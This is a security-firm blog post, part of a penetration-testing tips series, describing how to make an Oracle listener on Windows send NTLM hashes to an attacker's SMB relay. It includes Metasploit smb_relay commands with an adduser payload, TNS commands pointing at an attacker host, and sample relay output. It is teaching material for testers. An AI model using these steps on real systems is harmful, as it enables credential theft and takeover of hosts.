Blogs & Stories

SpiderLabs Blog

Attracting more than a half-million annual readers, this is the security community's go-to destination for technical breakdowns of the latest threats, critical vulnerability disclosures and cutting-edge research.

Wendel's Small Hacking Tricks - A not so common and neat Oracle [for Windows] hack.

Since 2003 a large part of my workday has been devoted solely to hacking systems. Over this time I've collected a number of penetration testing tips and plan to write a number of posts to share them. This is the third post in the "Wendel's Small Hacking Tricks" series and will show a not so common, but interesting attack against Oracle for Microsoft Windows. The first post in the series discussed methods of hacking Microsoft SQL Server, and the second post in the series discussed methods by which you can kill processes from the Microsoft Windows Command Line interface.

I mentioned above ,this technique is not very common and is not effective against most targets because it has special requirements that are not enabled by default. But you have my word that I have found a few of them in real-world penetration testing engagements.

If all goes well, you will end up with a password hash without even touching the Oracle database. ;)

*** How to force the Oracle Listener to try to authenticate back to you with LM/NTLM password hash ***

Requirements: Oracle must be installed with an "administrative" account and the service should not be running as SYSTEM. As far as I know, the only way to discover this remotely is by testing it. ;)

1) First, start smb_sniff, smb_relay or the great Responder tool from my friend Laurent (SpiderLabs).

msf > use windows/smb/smb_relay
msf exploit(smb_relay) > set payload windows/adduser
msf exploit(smb_relay) > set user evil
user => evil
msf exploit(smb_relay) > set pass hacker
pass => hacker
msf exploit(smb_relay) > exploit
[*] Exploit running as background job.
msf exploit(smb_relay) >
[*] Server started.

2) Use script to test Oracle 9i or older, the syntax is the following:

root@WS~# ./ -h Oracle-IP-Address --rawcmd "(DESCRIPTION=(CONNECT_DATA=(CID=(PROGRAM=)(HOST=)(USER=))(COMMAND=log_file)(ARGUMENTS=4)(SERVICE=LISTENER)(VERSION=1)(VALUE="\\\\Attacker-IP-Address\\hackme")))"

If the attack worked, the output should be something like this:

........"...........@(DESCRIPTION=(TMP=)(VSNNUM=153092352)(ERR=280)(ERRARGS=\\\haxme)(COMMAND=log_file)(ERROR_STACK=(ERROR=(CODE=280)(EMFI=1)(ARGS='\\\haxme'))(ERROR=(CODE=278)(EMFI=1))(ERROR=(CODE=16)(EMFI=3))(ERROR=(BUF='32-bit Windows Error: 13: Permission denied'))))

And on the smb_relay screen (or whatever you decided to use) you should see the password hash:

[*] Server started.
msf exploit(smb_relay) > [*] Received \ LMHASH:00 NTHASH: OS:Windows Server 2003 3790 Service Pack 1 LM:
[*] Sending Access Denied to \
[*] Received ORACLE9I\oracle LMHASH:1de283f81853a0509f14486a9d7900ab5669608b9edf51a5 NTHASH:1de283f81853a0509f14486a9d7900ab5669608b9edf51a5 OS:Windows Server 2003 3790 Service Pack 1 LM:
[*] Authenticating to as ORACLE9I\oracle...
[*] Connecting to the ADMIN$ share...
[*] Regenerating the payload...
[*] Uploading payload...
[*] Created \njvtubjo.exe...
[*] Connecting to the Service Control Manager...
[*] Obtaining a service manager handle...
[*] Creating a new service...
[*] Closing service handle...
[*] Opening service...
[*] Starting the service...
[*] Removing the service...
[*] Closing service handle...
[*] Deleting \njvtubjo.exe...
[*] Sending Access Denied to ORACLE9I\oracle

3) Additionally, you may use the script to test Oracle 10g or higher, however in this case the attack will also require the Oracle SID and the database must have the OS_Authentication disable (which is is not the case by default).

root@WS~# ./ -h Oracle-IP-Address --rawcmd "(DESCRIPTION=(CONNECT_DATA=(CID=(PROGRAM=)(HOST=)(USER=))(COMMAND=log_file)(ARGUMENTS=4)(SERVICE=Oracle-SID)(VERSION=185599488)(VALUE="\\\\IP-Address\\hackme")))"

If you get an error as demonstrated below, it means that your target Oracle database is configured with "OS Authentication enabled" as the default. You are out of luck.


Stay tuned for more Wendel's Small Hacking Tricks.

Recent SpiderLabs Blog Posts